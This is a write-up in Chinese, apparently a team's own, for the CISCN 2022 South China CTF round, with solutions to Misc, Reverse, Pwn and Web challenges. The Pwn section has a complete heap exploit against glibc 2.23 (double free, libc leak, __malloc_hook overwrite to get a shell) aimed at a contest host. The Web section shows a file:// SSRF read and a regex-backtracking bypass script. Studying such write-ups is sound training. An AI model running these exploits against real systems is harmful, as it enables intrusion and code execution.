CISCN2022华南赛区分区赛Writeup

2022-6-19 CTFWriteupWebMiscPwnReverseCISCN2022

这次比赛有点遗憾,最终排名15名,只能说尽力了。


# Misc

# logbool

wireshark打开后,导出HTTP对象到一个新的文件夹,使用python读取所有文件的内容

import os

os.chdir('http对象')
for i in os.listdir('.'):
    with open(i, 'r') as f:
        print(f.read())
1
2
3
4
5
6

使用python处理,得到密码

import re

with open("http对象.txt", "r") as f:
    r = f.read()

lst1 = []
lst2 = []
lst = r.split("\n")
for i in lst:
    if "password" in i and "success" in i:
        ret = re.findall('1\),(.*?),1\)\)>(.*?) AND', i)[0]
        if ret[0] not in lst1:
            lst1.append(ret[0])
            lst2.append(ret[1])
        else:
            if int(lst2[len(lst2)-1]) <= int(ret[1]):
                lst2[len(lst2)-1] = ret[1]

for i in range(1, len(lst1)+1):
    c = lst2[lst1.index(str(i))]
    print(chr(int(c)+1), end="")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
timeemitloggol
1

同样地,将password改成content得到一串字符串

526172211a0701003392b5e50a01050600050101808000b2b1f3d65502033cb00004a80020a09ebf0280030008666c61672e747874300100030fedd6cdb8cc2535d8819161a4c7f5b2b05912735d7a3fd51074b03e4d9a68c5ec47766f7c7e9491369e1d8add0a0302eefeaba7a446d80100cf48e5373135a4b7de8993121c592e8c87743c2e8c0fffb766b53217f07acac40b55cf1db67923bea02a55299c54991d77565103050400
1

前面的526172便是rar文件的文件头,将其粘贴为十六进制得到一个压缩包

密码就是刚刚的密码,得到flag

DASCTF{33c12355cd508de6b9b3676b97ece17e}
1

# Reverse

# ob!

由此网站反混淆:obfuscator解密 - dejs.vip (opens new window),得到

function _0x15f8(numberParam, _0x29a14a) {
    return _0x15f8 = function (_0x15f885, _0x2046fc) {
        _0x15f885 = _0x15f885 - 313;
        var __0x15f885 = _0x55fe._0x15f885;
        return __0x15f885;
    }, _0x15f8(numberParam, _0x29a14a);
}
(function () {
    var innerObject = {
        "LHAkM": "2|3|5|1|0|4",
        "esJvd": _0x15f8(327),
        "BZTwo": function (_0x1d1e01, _0x12cacf) {
            return _0x1d1e01 == _0x12cacf;
        },
        "sZuqf": "congratulations!!",
        "cdcMv": function (_0x249d98, _0x2b4e20) {
            return _0x249d98 < _0x2b4e20;
        },
        "gOHVz": function (_0x14fc1c, _0x1ae2a0) {
            return _0x14fc1c ^ _0x1ae2a0;
        }
    };
    var _0x344178 = innerObject.undefined.undefined("|");
    var _0x5c293c = 0;
    while (!![]) {
        switch (_0x344178.undefined) {
        case "0":
            console.undefined(encc);
            continue;
        case "1":
            encc = _0x27361d.undefined();
            continue;
        case "2":
            var _0x50fdde = innerObject.undefined;
            continue;
        case "3":
            var array = new Array();
            continue;
        case "4":
            innerObject.undefined(encc.undefined(), [
                90,
                71,
                18,
                23,
                64,
                20,
                67,
                69,
                43,
                44,
                41,
                41,
                125,
                43,
                125,
                41,
                116,
                117,
                32,
                119,
                32,
                43,
                117,
                39,
                107,
                56,
                56,
                60,
                111,
                62,
                61,
                62,
                63,
                125,
                67,
                80,
                64,
                81,
                64,
                68
            ].undefined()) && console.log(innerObject.undefined);
            continue;
        case "5":
            for (i = 0; innerObject.undefined(i, _0x50fdde.undefined); i++) {
                _0x27361d.i = innerObject.undefined(_0x50fdde.i.undefined(), i);
            }
            continue;
        }
        break;
    }
}());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

用python写个脚本,将密文翻转进行异或就可以得到flag

flag = [90, 71, 18, 23, 64, 20, 67, 69, 43, 44, 41, 41, 125, 43, 125, 41, 116, 117, 32, 119, 32, 43, 117, 39, 107, 56, 56, 60, 111, 62, 61, 62, 63, 125, 67, 80, 64, 81, 64, 68]
flag.reverse()

for i in range(0, len(flag)):
    print(chr(int(i^flag[i])), end="")
1
2
3
4
5
DASCTF{8644d056d7d93c5cc1d1f5424eb6c37a}
1

# Pwn

# chats_store

漏洞

UAF

void sub_BD3()
{
  int v0; // [rsp+Ch] [rbp-4h]

  printf("chats No. > ");
  v0 = sub_A10();
  if ( *((_DWORD *)&unk_202040 + 4 * v0) )
    free(*((void **)&unk_202040 + 2 * v0 + 1));
  else
    puts("chat not exists");
}
1
2
3
4
5
6
7
8
9
10
11

攻击思路

没有show,2.23没有tcache,没有edit,直接double free 打fast bin

申请到heap的size位置,修改size然后free得到unsorted bin,利用unsorted的低字节爆破IO结构体泄露libc,由于2.23 size 检测只能打malloc的hook

但是题目正常是不可能满足onegadget所以利用realloc调整栈帧,最后getshell

exp

from pwn import *
#r=process('./chats')
libc=ELF("./libc-2.23.so")
#context.log_level='debug'
context.arch="amd64"
r=remote("43.138.52.3",57500)
def add(idx,size,con):
	r.recvuntil("> ")
	r.sendline(str(1))
	r.recvuntil("> ")
	r.sendline(str(idx))
	r.recvuntil("> ")
	r.sendline(str(size))
	r.recvuntil("> \n")
	r.send(con)
def dele(idx):
	r.recvuntil("> ")
	r.sendline(str(2))
	r.recvuntil("> ")
	r.sendline(str(idx))
def pwn():
	for i in range(16):
		add(i,0x68,p64(0x71)*0xd)
	add(17,0x68,"/bin/sh\x00")
	#gdb.attach(r)
	dele(0)
	dele(1)
	dele(0)
	add(7,0x68,'\x60')
	add(8,0x68,'\x60')
	add(9,0x68,'\x60')
	add(10,0x68,p64(0x71)+p64(0x411)+p64(0x71)*0xb)
	dele(8)

	dele(0)
	dele(2)
	dele(0)
	add(7,0x68,'\x60')
	add(8,0x68,'\x60')
	add(9,0x68,'\x60')
	add(10,0x68,p64(0x71)+p64(0x31)+p64(0x71)+'\xdd\x25')

	dele(0)
	dele(2)
	dele(0)
	add(7,0x68,'\x78')
	add(8,0x68,'\x78')
	add(9,0x68,'\x78')
	add(11,0x68,p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))

	add(12,0x68,p64(0)*6+'a'*3+p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))
	leak=u64(r.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-0x3c5600
	print(hex(leak))
	malloc=leak+libc.sym['__malloc_hook']
	sys=leak+libc.sym['system']
	dele(0)
	dele(2)
	dele(0)
	add(7,0x68,'\x60')
	add(8,0x68,'\x60')
	add(9,0x68,'\x60')
	add(10,0x68,p64(0x71)+p64(0x31)+p64(0x71)+p64(malloc-0x23))
	'''
	0x45226 execve("/bin/sh", rsp+0x30, environ)
	constraints:
	  rax == NULL

	0x4527a execve("/bin/sh", rsp+0x30, environ)
	constraints:
	  [rsp+0x30] == NULL

	0xcd173 execve("/bin/sh", rcx, r12)
	constraints:
	  [rcx] == NULL || rcx == NULL
	  [r12] == NULL || r12 == NULL

	0xcd248 execve("/bin/sh", rax, r12)
	constraints:
	  [rax] == NULL || rax == NULL
	  [r12] == NULL || r12 == NULL

	0xf03a4 execve("/bin/sh", rsp+0x50, environ)
	constraints:
	  [rsp+0x50] == NULL

	0xf03b0 execve("/bin/sh", rsi, [rax])
	constraints:
	  [rsi] == NULL || rsi == NULL
	  [[rax]] == NULL || [rax] == NULL

	0xf1247 execve("/bin/sh", rsp+0x70, environ)
	constraints:
	  [rsp+0x70] == NULL

	0xf67f0 execve("/bin/sh", rcx, [rbp-0xf8])
	constraints:
	  [rcx] == NULL || rcx == NULL
	  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

	'''
	realloc=leak+libc.sym['realloc']
	rdi=leak+libc.search(asm("pop rdi;ret")).next()
	dele(0)
	dele(2)
	dele(0)
	add(7,0x68,'\x78')
	add(8,0x68,'\x78')
	add(9,0x68,'\x78')
	add(11,0x68,p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))
	add(12,0x68,'a'*(0x13-8)+p64(leak+0x4527a)+p64(realloc+0))
	add(12,0x58,'a'*0x13+p64(leak+0x4527a))
	add(12,0x58,'a'*0x13+p64(leak+0x4527a))
	r.interactive()
while True:
	try:
		r=remote("43.138.52.3",57500)
		pwn()
	except Exception as e:
		r.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

# Web

# Try2ReadFlag

读取flag目录,可以看到flag目录有源码

/index.php?url=file:///var/www/html/flag.php
1
import requests

url = 'http://43.138.85.15:57600/flag.php'
esp = 1000000
ebp = 100000
while True:
    middle = int((esp+ebp)/2)
    payload = 'cat' * middle + 'flag'
    # print(payload)
    data = {
        'input': payload
    }

    r = requests.post(url=url, data=data)
    print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

正则匹配回溯绕过就能看到flag文件了,知道flag文件名直接在index读取他就好了

/index.php?url=file:///F1agg_f1ag
1